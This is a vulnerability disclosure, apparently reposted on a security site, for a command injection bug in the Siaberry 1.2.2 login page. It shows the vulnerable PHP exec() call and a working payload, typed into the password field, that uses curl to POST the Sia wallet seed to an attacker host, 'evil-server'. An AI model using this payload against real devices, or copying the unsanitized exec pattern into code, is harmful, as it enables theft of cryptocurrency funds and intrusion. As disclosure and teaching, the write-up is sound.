Siaberry 1.2.2 Command Injection

2018.06.13
Credit: Space Duck
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## Siaberry's Command Injection Vulnerability Today, Iad like to share several interesting vulnerabilities I discovered in Siaberry, a hardware device for earning cryptocurrency. Siaberry runs on Sia, a decentralized marketplace for buying and selling data storage. The device is intended to give consumers a plug an play solution to sell storage on Siaas network, though the two teams have no formal relationship. As buyers purchase space, Siaberry earns income for its owner in the form of Siaas utility token, Siacoin. I run a Sia node on my Synology NAS, but I was drawn to Siaberryas promise of a user-friendly web UI. I took Siaberry for a test drive, and I was blown away by how many serious issues I discovered within just a few hours. ## Command injection: working exploit My most exciting finding was a command injection vulnerability on the login page. In the video below, I demonstrate how an attacker can extract the private key from the victimas Sia wallet simply by entering a particular password on Siaberryas login page: https://www.youtube.com/watch?v=eVOyDglf4vE ## Understanding the vulnerability The vulnerability is so obvious that many developers and security experts could tell you exactly what the code looked like by watching the video demo above. Iall confirm your suspicions. The problem occurred in ActionPage.php: ``` $user=$_POST['uname']; $pass=$_POST['psw']; exec("sudo bin/checker $user $pass", $output, $exitcode); ``` Thatas it. Thatas the whole vulnerability. Siaberry took untrusted input directly from an HTTP POST request and immediately executed it in the shell. This was a painfully easy vulnerability to exploit. ## How the exploit works To exploit this, I created an attack server called evil-server. From that machine, I started netcat to dump all traffic it received on port 5555. For convenience, I used a server on my local network, but the same attack would work with any server address, remote or local. I then used foo as the username and supplied a password of `badpassword || curl -d "$(siac wallet seeds)" -X POST evil-server:5555`. When ActionPage.php reached its exec line, it executed the following command: ``` sudo bin/checker foo badpassword || \ curl -d "$(siac wallet seeds)" -X POST evil-server:5555 ``` This caused the shell to execute three different commands. The first was the command that Siaberry meant to execute: ``` sudo bin/checker foo badpassword ``` This returned a non-zero exit code because foo/badpassword was a bad username/password combination. Therefore, the shell proceeded to execute the other side of the ||, starting with the embedded command: ``` siac wallet seeds ``` This launched siac, the Sia command-line interface. Those command-line parameters tell Sia to print its wallet seed to the console. The wallet seed is a 29-word passphrase that represents the walletas private key. Anyone who has this passphrase completely controls all funds in the victimas wallet. ``` curl -d "$(siac wallet seeds)" -X POST evil-server:5555 ``` Finally, the curl command made an HTTP POST request to http://evil-server:5555, sending the Sia wallet seed as the payload. The attacker, capturing messages on port 5555, recorded the victimas wallet seed, giving them the ability to steal all funds in the victimas wallet.

References:

https://www.youtube.com/watch?v=eVOyDglf4vE


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top